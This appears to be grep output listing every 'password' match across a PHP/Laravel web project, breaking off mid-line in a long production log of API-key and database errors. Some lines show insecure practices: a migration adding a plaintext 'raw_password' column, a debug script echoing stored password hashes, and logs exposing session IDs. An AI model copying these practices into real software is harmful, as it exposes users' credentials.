./cursor1/backend/index.php: ./cursor1/backend/index.php: ./cursor1/backend/index.php: ./cursor1/backend1/index.php: ./cursor1/backend1/index.php: ./cursor1/backend1/index.php: ./database/factories/UserFactory.php: * The current password being used by the factory. ./database/factories/UserFactory.php: protected static ?string $password; ./database/factories/UserFactory.php: 'password' => static::$password ??= Hash::make('password'), ./database/migrations/0001_01_01_000000_create_users_table.php: $table->string('password'); ./database/migrations/0001_01_01_000000_create_users_table.php: Schema::create('password_reset_tokens', function (Blueprint $table) { ./database/migrations/0001_01_01_000000_create_users_table.php: Schema::dropIfExists('password_reset_tokens'); ./database/migrations/2026_02_07_040235_add_login_details_to_restaurants_table.php: $table->string('raw_password')->nullable(); ./database/migrations/2026_02_07_040235_add_login_details_to_restaurants_table.php: $table->dropColumn(['manager_email', 'raw_password']); ./localagent/database.sql:-- Replace 'your_secure_password' with a strong password. ./localagent/database.sql:-- CREATE USER IF NOT EXISTS 'pdf_app'@'localhost' IDENTIFIED BY 'your_secure_password'; ./localagent/database.sql: password VARCHAR(255) NOT NULL, ./localagent/register.php: $password = $_POST['password'] ?? ''; ./localagent/register.php: $confirm_password = $_POST['confirm_password'] ?? ''; ./localagent/register.php: if (empty($username) || empty($email) || empty($password)) { ./localagent/register.php: } elseif ($password !== $confirm_password) { ./localagent/register.php: } elseif (!preg_match('/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/', $password)) { ./localagent/register.php: $hashed_password = password_hash($password, PASSWORD_DEFAULT); ./localagent/register.php: $stmt = $pdo->prepare("INSERT INTO users (username, email, password, verification_token) VALUES (?, ?, ?, ?)"); ./localagent/register.php: if ($stmt->execute([$username, $email, $hashed_password, $verification_token])) { ./localagent/register.php: ./localagent/register.php: ./localagent/register.php: const passwordInput = document.getElementById('password'); ./localagent/register.php: passwordInput.addEventListener('input', () => { ./localagent/register.php: const val = passwordInput.value; ./localagent/includes/mailer.php: $resetLink = "$protocol://$host/agentgpt/php/reset_password.php?token=$token"; ./localagent/includes/mailer.php: $mail->Subject = 'Reset your password for Ai AgentGpt'; ./localagent/includes/mailer.php:

We received a request to reset your password. Click the button below to create a new password:

./localagent/includes/mailer.php:

If you did not request a password reset, you can safely ignore this email.

./localagent/includes/mailer.php: $mail->AltBody = "Click here to reset your password: $resetLink"; ./localagent/vendor/phpmailer/phpmailer/README.md: $mail->Password = 'secret'; //SMTP password ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: * POP3 password. ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: public $password; ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: $password = '', ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: $this->password = $password; ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: $login_result = $this->login($this->username, $this->password); ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: * @param string $password ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: public function login($username = '', $password = '') ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: if (empty($password)) { ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: $password = $this->password; ./localagent/vendor/phpmailer/phpmailer/src/POP3.php: $this->sendString("PASS $password" . static::LE); ./localagent/vendor/phpmailer/phpmailer/src/PHPMailer.php: * SMTP password. ./localagent/vendor/phpmailer/phpmailer/src/PHPMailer.php: * The S/MIME password for the key. ./localagent/vendor/phpmailer/phpmailer/src/PHPMailer.php: * Set the public and private key files and password for S/MIME signing. ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: * @param string $password The password ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: $password, ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: //Send encoded username and password ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: base64_encode("\0" . $username . "\0" . $password), ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: if (!$this->sendCommand('Password', base64_encode($password), 235)) { ./localagent/vendor/phpmailer/phpmailer/src/SMTP.php: $response = $username . ' ' . $this->hmac($challenge, $password); ./localagent/forgot_password.php: $message = "We've sent a password reset link to your email."; ./localagent/forgot_password.php:

Forgot password?

./localagent/login.php: $password = $_POST['password'] ?? ''; ./localagent/login.php: if (empty($email) || empty($password)) { ./localagent/login.php: if ($user && password_verify($password, $user['password'])) { ./localagent/login.php: $error = "Invalid email or password."; ./localagent/login.php: Forgot password? ./localagent/login.php: ./localagent/reset_password.php: $error = "This password reset link is invalid or has expired."; ./localagent/reset_password.php: $password = $_POST['password'] ?? ''; ./localagent/reset_password.php: $confirm_password = $_POST['confirm_password'] ?? ''; ./localagent/reset_password.php: if (strlen($password) < 8) { ./localagent/reset_password.php: } elseif ($password !== $confirm_password) { ./localagent/reset_password.php: $new_hash = password_hash($password, PASSWORD_DEFAULT); ./localagent/reset_password.php: $stmt = $pdo->prepare("UPDATE users SET password = ?, reset_token_hash = NULL, reset_token_expires_at = NULL WHERE id = ?"); ./localagent/reset_password.php:

Set new password

./localagent/reset_password.php:

Please choose a strong password for your account

./localagent/reset_password.php: Request a new link ./localagent/reset_password.php: ./localagent/reset_password.php: ./localagent/test_v.php:$stmt = $pdo->prepare("SELECT password FROM users WHERE email = ?"); ./localagent/test_v.php:echo "DB Hash: " . ($user['password'] ?? 'NotFound') . "
"; ./localagent/test_v.php:if (password_verify($pass_to_test, $user['password'] ?? '')) { ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log:[2026-02-03 04:52:58] production.ERROR: This password does not use the Bcrypt algorithm. {"exception":"[object] (RuntimeException(code: 0): This password does not use the Bcrypt algorithm. at /var/www/html/vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php:88) ./storage/logs/laravel.log: 'password' => 'required', ./storage/logs/laravel.log: if (!$user || !\\Illuminate\\Support\\Facades\\Hash::check($request->password, $user->password)) { ./storage/logs/laravel.log:[2026-02-05 00:43:08] production.ERROR: This password does not use the Bcrypt algorithm. {"exception":"[object] (RuntimeException(code: 0): This password does not use the Bcrypt algorithm. at /var/www/html/vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php:88) ./storage/logs/laravel.log: 'password' => 'required', ./storage/logs/laravel.log: if (!$user || !\\Illuminate\\Support\\Facades\\Hash::check($request->password, $user->password)) { ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log: "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.", ./storage/logs/laravel.log:[2026-02-22 02:55:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = D7gWbHdpy5ziDLDLLp3OwNJixagdrVjsRnmO21kW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = D7gWbHdpy5ziDLDLLp3OwNJixagdrVjsRnmO21kW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 06:39:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = E7erDMC7dTLtzZ4dS4LFq7PmdXHY3n7kmM4g24Ee limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = E7erDMC7dTLtzZ4dS4LFq7PmdXHY3n7kmM4g24Ee limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 06:40:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8XhQbmc4w7jrYVQB3BF0iCLK3FoeBMzeYBgyOH1W limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8XhQbmc4w7jrYVQB3BF0iCLK3FoeBMzeYBgyOH1W limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 06:42:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = P8Y6JEifrCFB09hPn1OjjVV9ssdywgmlhOBtCVzA limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = P8Y6JEifrCFB09hPn1OjjVV9ssdywgmlhOBtCVzA limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 14:06:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FF2Odedg2M52CLqOtQxTzshXSESLfx8ARHkh1kq6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = FF2Odedg2M52CLqOtQxTzshXSESLfx8ARHkh1kq6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 19:48:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ADo8255Yy5CeFcBprOKSrR70LmcevfE5bNnClciu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ADo8255Yy5CeFcBprOKSrR70LmcevfE5bNnClciu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 19:48:37] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0Doeet6Qunygdqe2Dy3Zq3R2jynLizIKjPI0TkDa limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0Doeet6Qunygdqe2Dy3Zq3R2jynLizIKjPI0TkDa limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 19:48:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KpgLZ0cnlEHdgR9ZtFGnwSfVIhoKJHzHuPfJUeWY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KpgLZ0cnlEHdgR9ZtFGnwSfVIhoKJHzHuPfJUeWY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-22 23:42:11] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uXUYaQHviPkGJkMSjfHXeNdiCi0sIqWY4yrgoBIB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uXUYaQHviPkGJkMSjfHXeNdiCi0sIqWY4yrgoBIB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 08:53:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = T4mG3ww9pF0G65sJnsG4UbtozzGMfWPi1RtkmnTa limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = T4mG3ww9pF0G65sJnsG4UbtozzGMfWPi1RtkmnTa limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 08:54:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M2WMYRJt771vD4zpENb1aRVXHaMIXqlWllL8NCCP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = M2WMYRJt771vD4zpENb1aRVXHaMIXqlWllL8NCCP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 08:54:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HmAMemVMUKRBmeBAZWM3FubkvkGFFzxSY2VXM739 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HmAMemVMUKRBmeBAZWM3FubkvkGFFzxSY2VXM739 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 09:28:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eAwrDJA2MnMrfCCPpInx5HYhPMbZPRxXTH0xndj5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eAwrDJA2MnMrfCCPpInx5HYhPMbZPRxXTH0xndj5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 11:20:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fdvtLA8pFq0DlsQlPp598hfqO5B2U5NPuQn7N7Pb limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fdvtLA8pFq0DlsQlPp598hfqO5B2U5NPuQn7N7Pb limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 12:16:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KQhQBOloWxlMMj4eR8WUkIlylzQFvpg3NY3XaTe5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KQhQBOloWxlMMj4eR8WUkIlylzQFvpg3NY3XaTe5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 12:16:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IjJ8hufDNJwktmP9yJfon2qTQLWWVTY59G8RYd81 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = IjJ8hufDNJwktmP9yJfon2qTQLWWVTY59G8RYd81 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 12:16:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V6wApVX9L7vb0YscBqxDbcEXLBj03oXoZJkUbsJ4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V6wApVX9L7vb0YscBqxDbcEXLBj03oXoZJkUbsJ4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 23:53:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HWWKzY3Ith06Hh88cSQRh41COb1oEFGGJdP7ehh3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = HWWKzY3Ith06Hh88cSQRh41COb1oEFGGJdP7ehh3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-23 23:53:23] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t09qlFCjmemMrI7StWgV2uGrO4SiLUFeHdcUXpk6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = t09qlFCjmemMrI7StWgV2uGrO4SiLUFeHdcUXpk6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-24 00:29:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DcrrwJYg3i9M1TweEhyzAbnUSKojddvHHIHZRMOs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 